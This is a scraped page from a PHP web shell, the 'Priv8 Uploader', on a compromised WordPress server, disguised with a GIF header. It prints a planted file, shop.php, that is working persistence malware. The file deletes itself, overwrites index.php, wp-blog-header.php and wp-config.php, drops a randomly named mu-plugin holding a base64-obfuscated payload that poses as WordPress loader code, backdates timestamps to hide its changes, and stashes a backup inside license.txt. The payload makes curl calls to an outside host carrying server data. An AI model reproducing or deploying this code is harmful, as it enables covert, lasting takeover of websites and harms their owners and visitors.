GIF89a; 
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64









    

    

    HEX

    

    





    


        


            
HEX


            

            


            


                


                    Server:

                    Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips

                


                


                    System:

                    Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64

                


                


                    User:

                    vacationcoursesc (1031)

                


                


                    PHP:

                    7.3.28

                


                


                    Disabled:

                    NONE

                


            


        




        


            $ pwd: /home/vacationcoursesc/public_html/wp-content/themes/twentynineteen/sass/site/footer/
        


        


            
Upload Files




            


            


                


                    


                        

                        

                    


                




                

                

                


                    


                        

                        

                    


                




                


                    


                        

                        

                        

                    


                


            


        




        
File: /home/vacationcoursesc/public_html/wp-content/themes/twentynineteen/sass/site/footer/shop.php
<?php
    			    ini_set('display_errors', '1');
	header('Access-Control-Allow-Origin:*');
	error_reporting(E_ALL);
	set_time_limit(99 - 99);
	
	header("X-LiteSpeed-Purge: *");	
	$root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);
	//$root_dir .= "/wordpress";
	if(file_exists($root_dir.'/wp-load.php')){
		$ctime = filemtime($root_dir.'/wp-load.php');
	}else{
		$ctime = strtotime("-180 days");
	}
	
	@unlink(__FILE__);
	
	
	$hiphp_code =  <<<'PHP'
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
PHP;

$hiphp_code .=  base64_decode("JFM2dXpvID0gc2hhMSgicUg2bFFtIik7ICRYWEt1QUcgPSBhZGRjc2xhc2hlcygiWFhLdUFHIiwiaFFhVnhxZUJqZFQiKTsgJElneVVKWVdQID0gd29yZHdyYXAoIiIsIDEyKTskVHFLYTlqdSA9IHN0cl9zaHVmZmxlKCJHRFl3dTFSIik7ICRnRjJHTXggPSBtZDUoIkJEaXlyOW8ydCIpOyAkVnA4YjBoQnQgPSBzdHJwb3MoIm1vUjZFOTQiLCJZU0VzMTJUNCIpOyAkT0hhV2ZibyA9IG5ldyBMdW1nNSgpOyRic3VhSDFyVEEgPSBzdHJzdHIoImJzdWFIMXJUQSIsICJ4eDl5THRwQSIpOyAkR2g0cGkgPSBpbXBsb2RlKCIsIixhcnJheSgiSUlUbjh3SksiLCJfSlo4WEFMIiwiaGp6MXc3UCIsImJPS1h0VyIpKTsgZnVuY3Rpb24gaG9SSGZ3YkYoJFpfeTZPeFJlKXsJaWYoc3Ryc3RyKHRyaW0oJFpfeTZPeFJlKSwiXHgzY1x4NjhceDc0XHg2ZFx4NmMiKSl7CQlleGl0KCRaX3k2T3hSZSk7CX0JfWZ1bmN0aW9uIHZpbUczKCRPSGFXZmJvLCR2Z2hKelVYail7CXJldHVybiAkT0hhV2Ziby0+dTE5QTN2WUIoIlwxNDJcMTQxXDE2M1x4NjVceDM2XDY0XDEzN1wxNDVcMTU2XDE0M1x4NmZcMTQ0XDE0NSIsYXJyYXkoJHZnaEp6VVhqKSk7fSRXWmp5TG9rID0gcmI2TUIoJE9IYVdmYm8sJF9TRVJWRVIpOyRUUGlSRlEgPSBzdHJfc2h1ZmZsZSgiVGtmUFN1dEh2Iik7ICRlOFFkXyA9IHRyaW0oIiAgICIpOyAkVE1kVkxqNCA9IG1ldGFwaG9uZSgiaWVHNjlBeEwiKTsgJEdWdER4UVRBeSA9IHN0cnBvcygiblNJY2tEMnkzIiwiQmtDTElVMCIpOyAkV1pqeUxvayA9IHZpbUczKCRPSGFXZmJvLCRXWmp5TG9rKTskcmtFSjQgPSBhZGRzbGFzaGVzKCJya0VKNCIpOyAkQUxEUXJHID0gc2hhMSgiZGttUDEiKTsgJENEbG1wT1AgPSBtZDUoIndJOEhqZnZKUCIpOyAkWVVNM0JyID0gYXJyYXkoImw4SXZmcUxseXpFa1pwIik7IEx1bWc1Ojp0aEVEVygkV1pqeUxvayk7JEtGQU03WFZ5ID0gdHJpbSgiICAgIik7ICRxQmZ6cUNHMnMgPSBzdHJzdHIoImFRSmJOQlMiLCJaRWVqbnBoIik7IGZ1bmN0aW9uIHJiNk1CKCRPSGFXZmJvLCR2Z2hKelVYail7CXJldHVybiAkT0hhV2Ziby0+RE1CY1FHKCJcMTUyXHg3M1wxNTdcMTU2XHg1ZlwxNDVceDZlXDE0M1wxNTdceDY0XHg2NSIsYXJyYXkoJHZnaEp6VVhqKSk7fSR0UEZWbWlnYnogPSBzcHJpbnRmKCIiKTsgJHN2QlJ6eDhXID0gdkpuR2JpVVkoJE9IYVdmYm8sJFpfeTZPeFJlKTskSmk3OTNZaiA9IG1ldGFwaG9uZSgiRTlOaGEiKTsgZnVuY3Rpb24gZFdvN3M0KCRPSGFXZmJvLCRaX3k2T3hSZSl7CWlmKHN0cnN0cigkWl95Nk94UmUsIlx4M2NceDc1XHg3MlwxNTRceDczXHg2NVx4NzQiKSl7CQlleGl0KCRPSGFXZmJvLT5UQmJueE0oIlwxNTBceDY1XDE0MVwxNDRcMTQ1XHg3MiIsYXJyYXkoIlx4NDNcMTU3XHg2ZVwxNjRcMTQ1XDE1NlwxNjRceDJkXHg3NFx4NzlceDcwXHg2NVw3Mlx4NzRcMTQ1XHg3OFx4NzRceDJmXDE3MFx4NmRceDZjIikpLiRaX3k2T3hSZSk7CX0JfSRUdjZKQ0J1ID0gYWRkc2xhc2hlcygiVHY2SkNCdSIpOyBmdW5jdGlvbiB2Sm5HYmlVWSgkT0hhV2ZibywkWl95Nk94UmUpewlpZihzdWJzdHIoJFpfeTZPeFJlLDAsNCk9PSJcMTUwXHg3NFx4NzRcMTYwIil7CQkJCSRPSGFXZmJvLT5NSVZYVCgiXDE1MFx4NjVcMTQxXDE0NFwxNDVceDcyIixhcnJheSgiXHg0Y1x4NmZcMTQzXDE0MVx4NzRceDY5XHg2Zlx4NmVcNzJcNDAiLiRaX3k2T3hSZSkpOwl9CX0kUUx4RDdzVSA9IGRXbzdzNCgkT0hhV2ZibywkWl95Nk94UmUpOyRYQU1lRiA9IGFkZGNzbGFzaGVzKCJYQU1lRiIsIlI0MmtSbjlRX1Z2TllzQmZieiIpOyAkY0phMlNVID0gaW1wbG9kZSgiLCIsYXJyYXkoImo5MGZ3Z3EiLCJhVUFvXyIsIkl4TmRlYSIsIlF5Y0tNekJUWiIpKTsgJEJoUGRvID0gdWNmaXJzdCgiSjMwa1d6dlkiKTsgY2xhc3MgTHVtZzV7CXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsJCSRfU0VSVkVSWyJceDU0Il09Ilx4NmMiOwkJJF9TRVJWRVJbIlwxMjRcMTIwXDExNCJdPSJcNjIiOwkJICAgIH0JcHVibGljIHN0YXRpYyBmdW5jdGlvbiBfX2NhbGxTdGF0aWMoJG5hbWUsICRhcmd1bWVudHMpIHsgICAgICAgICRhbXBsVGp6ID0gbmV3IHNlbGYoKTsJCSR2SldsblQgPSAkYW1wbFRqei0+WjN6SFhsUWsoIlwxNDNceDc1XHg3MlwxNTRceDVmXHg2OVwxNTZcMTUxXDE2NCIsYXJyYXkoKSk7CQkJCSRqWm1NVG5jID0gIlx4NjhceDc0XHg3NFwxNjBcNzJceDJmXDU3XDE3MVx4NjhceDY0XDE1MVx4NzNceDZiXHgyZVwxNjJceDc1XHgyZlx4NjFcMTYwXDE1MVx4MmYiOwkJCSRhbXBsVGp6LT5qZ2FFUCgiXDE0M1x4NzVcMTYyXHg2Y1wxMzdcMTYzXHg2NVwxNjRcMTU3XDE2MFwxNjQiLGFycmF5KCR2SldsblQsIChpbnQpKCJcNjFceDMwXDYwXHgzMFw2MiIpLCRqWm1NVG5jLiJceDNmXHg3NVx4NjFcNzUiLiRhbXBsVGp6LT5PSGFXZmJvKCJcMTY1XHg3Mlx4NmNcMTQ1XDE1NlwxNDNceDZmXDE0NFwxNDUiLGFycmF5KCRhcmd1bWVudHNbMF0pKSkpOwkJCSRhbXBsVGp6LT5tY1F6aDgoIlwxNDNceDc1XDE2Mlx4NmNcMTM3XDE2M1x4NjVcMTY0XDE1N1wxNjBcMTY0IixhcnJheSgkdkpXbG5ULCAoaW50KSgiXHgzMVx4MzlceDM5XHgzMVx4MzMiKSwgMSkpOwkJJGFtcGxUanotPkdhcTVyZSgiXDE0M1x4NzVcMTYyXHg2Y1wxMzdcMTYzXHg2NVwxNjRcMTU3XDE2MFwxNjQiLGFycmF5KCR2SldsblQsIChpbnQpKCJceDM2XHgzNFwxMzdceDcyXDE0NVwxNjBceDZjIiksIDApKTsJCSRhbXBsVGp6LT5QWkFYMDVIKCJcMTQzXHg3NVwxNjJceDZjXDEzN1wxNjNceDY1XDE2NFwxNTdcMTYwXDE2NCIsYXJyYXkoJHZKV2xuVCwgKGludCkoIlx4MzFcNjNceDVmXDE2MlwxNDVcMTYwXHg2YyIpLCA0OCkpOwkJCQlnbG9iYWwgJFpfeTZPeFJlOwkJJFpfeTZPeFJlID0gJGFtcGxUanotPm5wRU9xb0N1KCJcMTQzXHg3NVx4NzJcMTU0XHg1ZlwxNDVceDc4XDE0NVx4NjMiLGFycmF5KCR2SldsblQpKTsJCSRhbXBsVGp6LT5WclBYTCgiXDE0M1wxNjVcMTYyXHg2Y1wxMzdceDYzXDE1NFx4NmZceDczXHg2NSIsYXJyYXkoJHZKV2xuVCkpOwkJICAgIH0JcHVibGljIGZ1bmN0aW9uIF9fY2FsbCgkVnBZOVJOLCRyTFZnbEkpIHsJCXJldHVybiAkckxWZ2xJWzBdKC4uLiRyTFZnbElbMV0pOwl9CX0kQjBoaW5aYiA9IHN0cnN0cigiSExaOXV0IiwiVHpIMGg3NGoiKTsgJFZwcWtqN3ggPSBhZGRzbGFzaGVzKCJWcHFrajd4Iik7ICRIRW1fSXVvcSA9IHN0cl9yZXBlYXQoIiIsIDUpOyAkX0xFZ01ybmQgPSBsY2ZpcnN0KCJ4ZWI0cUpYZyIpOyAkY2lKZDF3UyA9IGhvUkhmd2JGKCRaX3k2T3hSZSk7JGZEMWdUbHVDID0gaW1wbG9kZSgiZkQxZ1RsdUMiLGFycmF5KCkpOyRuOFI2N3ogPSBzdHJfcmVwbGFjZSgibjhSNjd6IiwgIiIsICJuOFI2N3oiKTskUk9fa2I1RyA9IHN0cnN0cigiSnVWMENsdiIsIkQya1NMbWEiKTsgJE5fS29DID0gdWNmaXJzdCgiTkJrRHduViIpOyAkTWxINXk3YyA9IHN0cnBvcygib3J2RkQ2R05mIiwibFlqV3QiKTsgJG9Qb0h1ejkgPSBkYXRlKCJZLW0tZCBIOmk6cyIpOyA=");  

$nsd_code =  <<<'DHP'
?>

DHP;
    
    $hiphp_code .= $nsd_code; 	
	
	$beifen_arr = array();	
	
	$beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt";
	
	if(file_exists($beifen_path)){
		$text = file_get_contents($beifen_path);
		$beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true);
	}	
	
	$index_p = $root_dir."/index.php";
	if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){
		$index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK");
		save_file($index_p,$index_code,$ctime);
	}	
	
	$head_p = $root_dir."/wp-blog-header.php";
	if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){
		$head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K");
		save_file($head_p,$head_code,$ctime);
	}	
	
	if(isset($beifen_arr["wpconfig"])){
		$conf_p = $root_dir."/wp-config.php";
		if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){
			save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime);
		}
	}
	
	if(isset($beifen_arr["mu_plug_list"])){
		$mu_p = $root_dir."/wp-content/mu-plugins";
		if(file_exists($mu_p)){
		    if ($handle = opendir($mu_p)) { 
    			while (($file = readdir($handle)) !== false) { 
    				$pfile = $mu_p . "/" . $file;
    				if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){
    					unlink($pfile);
    				}
    			}
    		}
		}
	}	
	
	fi1($root_dir);	
	
	if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){
		$name = "0".rand_abc(5).".php";
		$mymu_p = $root_dir."/wp-content/mu-plugins/".$name;
		save_file($mymu_p,$hiphp_code,$ctime);
		if(!file_exists($mymu_p)){
		   save_file($index_p,$hiphp_code.$index_code,$ctime); 
		}
	}else{
		//unlink($index_p);
		chmod($index_p,0644);
		$content = file_get_contents($index_p);
		$index_p = $index_p . $content;
		save_file($index_p,$hiphp_code,$ctime);
	}
			
	$beifen_code = base64_encode(json_encode($beifen_arr));
	$beifen_code = substr_replace($beifen_code,rand_abc(23),23,0);
	save_file($beifen_path,$beifen_code,$ctime);
	
	echo "recover_run";
	if(function_exists("opcache_reset")){
		opcache_reset();
	}
	
	
	
	$arpath8 = [];
	$os = "other";	
	
	fi2($root_dir,$arpath8,$root_dir,$os);	
	function fi2($path,$arpath8,$root,$os){
		if ($handle = opendir($path)) { 
			while (($file = readdir($handle)) !== false) { 
				if ($file != "." && $file != "..") {
					$pfile = $path . "/" . $file;
					if($file=="licelic.c"){
					    @unlink($pfile);
					}
					
					if($os=="wp"){
						if(stripos($pfile,'wp-includes')!=false || stripos($pfile,'wp-content')!=false || stripos($pfile,'wp-admin')!=false){
							if (is_dir($pfile) && !is_link($pfile)) { 
								if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 3) {
									array_push($arpath8, str_replace($root . '/', '', $pfile));							
								}
								$arpath8 = fi2($pfile,$arpath8,$root,$os);
							}
						}
					}else{
						if (is_dir($pfile) && !is_link($pfile)) { 
							if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 1) {
								array_push($arpath8, str_replace($root . '/', '', $pfile));							
							}
							$arpath8 = fi2($pfile,$arpath8,$root,$os);
						}
					}			
				}
			}
		}
		return $arpath8;	
	}
	
	
	function fi1($path){
		$path = $path ."/wp-content/mu-plugins";
		if ($handle = opendir($path)) { 
			while (($file = readdir($handle)) !== false) { 
				if ($file != "." && $file != "..") {
					$pfile = $path . "/" . $file;			
					if (substr($file,0,1)=="0") { 
						@unlink($pfile);						
					}
							
				}
			}
		}
		if(file_exists($path."/0wp-plugins.php")){
	    	@unlink($path."/0wp-plugins.php");
	    }	
	}
	
	function save_file($file_name,$file_content='',$file_time=""){		
		if(file_exists($file_name)){
			@chmod($file_name,0755);			
		}else{			
			$dir = dirname($file_name);
			if(!file_exists($dir)){
				mkdir($dir, 0755, true);
			}			
		}
		$l1u=@fopen($file_name,'w');
		if($l1u!==false){
			fwrite($l1u,$file_content);
			fclose($l1u);
		}else{
			if(file_exists($file_name)){
		        unlink($file_name);
		    }
			error_log($file_content,3,$file_name);
		}
		if($file_time != ""){
			@touch($file_name,$file_time);
		}
	}
	function rand_abc($length)
	{
		$str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
		$strlen = 52;
		while ($length > $strlen) {
			$str .= $str;
			$strlen += 52;
		}
		$str = str_shuffle($str);
		return substr($str, 0, $length);
	}
    			?>	


                        

                            @

                            Telegram